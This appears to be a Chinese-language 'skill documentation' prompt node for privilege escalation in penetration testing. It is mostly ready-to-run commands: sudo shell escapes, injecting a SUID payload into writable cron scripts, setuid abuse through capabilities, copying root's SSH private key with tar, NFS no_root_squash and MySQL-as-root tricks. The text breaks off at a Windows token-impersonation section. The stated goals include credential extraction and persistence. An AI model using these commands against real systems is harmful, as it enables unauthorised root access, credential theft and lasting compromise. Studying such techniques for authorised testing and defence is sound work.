[ PROMPT_NODE_27628 ]
提权方法
[ SKILL_DOCUMENTATION ]
# 提权方法
## 目的
提供在受损的 Linux 和 Windows 系统上从低权限用户提升至 root/管理员访问权限的全面技术。对于渗透测试的后渗透阶段和红队行动至关重要。
## 输入/先决条件
- 在目标系统上拥有初始低权限 shell 访问权限
- Kali Linux 或渗透测试发行版
- 工具:Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
- 对 Windows/Linux 权限模型的理解
- 针对 AD 攻击:域用户凭据和对域控的网络访问权限
## 输出/交付物
- Root 或管理员 shell 访问权限
- 提取的凭据和哈希
- 持久化访问机制
- 域控权限(针对 AD 环境)
---
## 核心技术
### Linux 提权
#### 1. 滥用 Sudo 二进制文件
使用 GTFOBins 技术利用配置错误的 sudo 权限:
bash
# 检查 sudo 权限
sudo -l
# 利用常见二进制文件
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash ;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts # 然后输入: !bash
sudo man man # 然后输入: !bash
sudo env /bin/bash
#### 2. 滥用计划任务 (Cron)
bash
# 查找可写的 cron 脚本
ls -la /etc/cron*
cat /etc/crontab
# 将载荷注入到可写脚本中
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh
# 等待执行,然后:
/bin/bash -p
#### 3. 滥用 Capabilities
bash
# 查找具有 capabilities 的二进制文件
getcap -r / 2>/dev/null
# 具有 cap_setuid 的 Python
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# 具有 cap_setuid 的 Perl
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# 具有 cap_dac_read_search 的 Tar (读取任意文件)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
#### 4. NFS Root Squashing
bash
# 检查 NFS 共享
showmount -e
# 挂载并利用 no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 :/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
#### 5. 以 Root 身份运行的 MySQL
bash
# 如果 MySQL 以 root 身份运行
mysql -u root -p
! chmod +s /bin/bash
exit
/bin/bash -p
---
### Windows 提权
#### 1. 令牌模拟
powershell
# 使用 SweetPotato (SeImpersonatePrivilege)
execute-assembly